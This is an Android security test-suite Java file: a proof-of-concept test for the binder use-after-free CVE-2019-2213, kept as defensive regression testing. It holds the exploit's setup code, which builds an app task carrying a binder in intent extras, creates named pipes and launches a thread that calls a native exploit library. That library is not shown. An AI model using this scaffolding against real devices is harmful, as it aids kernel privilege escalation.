/*
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package android.security.cts;

import android.system.Os;
import android.os.Looper;
import android.os.Message;
import android.os.ParcelFileDescriptor;
import android.os.SystemClock;

import android.app.Activity;
import android.app.ActivityManager;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.ContextWrapper;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.pm.ApplicationInfo;

import android.hardware.display.VirtualDisplay;

import java.io.IOException;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

import static org.junit.Assert.assertTrue;
import androidx.test.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
import android.platform.test.annotations.AsbSecurityTest;

import java.util.ArrayList;
import android.util.Log;

import android.graphics.Bitmap;
import android.os.Bundle;
import android.os.IBinder;
import android.system.ErrnoException;
import android.widget.TextView;

import com.android.sts.common.util.StsExtraBusinessLogicTestCase;

import java.io.File;
import java.util.List;

import org.junit.runner.RunWith;
import org.junit.Test;

class Exchange extends IBinderExchange.Stub {
    IBinder binder;
    BinderExploitTest.CVE_2019_2213_Activity xpl;
    Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) {
        this.xpl = xpl;
    }
    @Override
    public void putBinder(IBinder bnd) {
        this.xpl.addLog("put binder");
        binder = bnd;
    }
    @Override
    public IBinder getBinder() {
        this.xpl.addLog("get binder");
        return binder;
    }
}

class ExploitThread extends Thread {
    static {
        System.loadLibrary("cve_2019_2213_jni");
    }
    BinderExploitTest.CVE_2019_2213_Activity xpl;
    String pipedir;

    ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) {
        this.xpl = xpl;
        this.pipedir = pipedir;
    }

    public void run() {
        runxpl(pipedir);
    }

    void addLog(String msg) {
        xpl.addLog(msg);
    }

    public native void runxpl(String pipedir);
}

@RunWith(AndroidJUnit4.class)
public class BinderExploitTest extends StsExtraBusinessLogicTestCase {

    static final String TAG = BinderExploitTest.class.getSimpleName();
    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";

    public CVE_2019_2213_Activity mActivity;
    private void launchActivity(Class<? extends Activity> clazz) {
        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
        final Intent intent = new Intent(Intent.ACTION_MAIN);
        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        context.startActivity(intent);
    }

    /**
     * b/141496757
     */
    @AsbSecurityTest(cveBugId = 133758011)
    @Test
    public void testPoc_cve_2019_2213() throws Exception {
        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));

        //  set timeout to 5 minutes
        int timeout = 60;

        //  run test activity
        launchActivity(CVE_2019_2213_Activity.class);
        //  main loop to check forked processs bahaviors
        while (timeout-- > 0) {
            SystemClock.sleep(1000);
        }
        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished."));
    }

    public static class CVE_2019_2213_Activity extends Activity {
        ActivityManager actmgr;
        String log = "";

        synchronized void addLog(String msg) {
            Log.i("txnuaf", msg);
            log += msg + "\n";
            Log.i(TAG, log);
        }

        ActivityManager.AppTask getAppTask() {
            List<ActivityManager.AppTask> list = actmgr.getAppTasks();
            for (int i = 0; i < list.size(); i++) {
                ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo();
                if (info.baseIntent.getExtras() != null)
                    return list.get(i);
            }
            return null;
        }

        void setUpBundle() throws Exception {
            actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
            ActivityManager.AppTask t = getAppTask();
            if (t != null)
                t.finishAndRemoveTask();
            Intent in = new Intent(this, CVE_2019_2213_Activity.class);
            Bundle extras = new Bundle();
            extras.putBinder("bnd", new Exchange(this));
            in.putExtras(extras);
            in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
            Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8);
            if (actmgr.addAppTask(this, in, null, bmp) == -1)
                throw new Exception("addAppTask failed");
            t = getAppTask();
            if (t == null)
                throw new Exception("no appTask with extras");
            Bundle b = t.getTaskInfo().baseIntent.getExtras();
            if (!b.containsKey("bnd"))
                throw new Exception("no bnd key");
            addLog("apptask added");
        }

        public String makePipes() throws ErrnoException {
            File dir = getDir("xpldat", 0);
            for (int i = 0; i < 8; i++) {
                File fifo = new File(dir, "p" + i);
                if (fifo.exists())
                    fifo.delete();
                Os.mkfifo(fifo.getPath(), 0600);
            }
            return dir.getPath();
        }

        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);

            try {
                setUpBundle();
                (new ExploitThread(this, makePipes())).start();
            } catch (Exception e) {
                addLog(e.toString());
            }
        }
    }


}
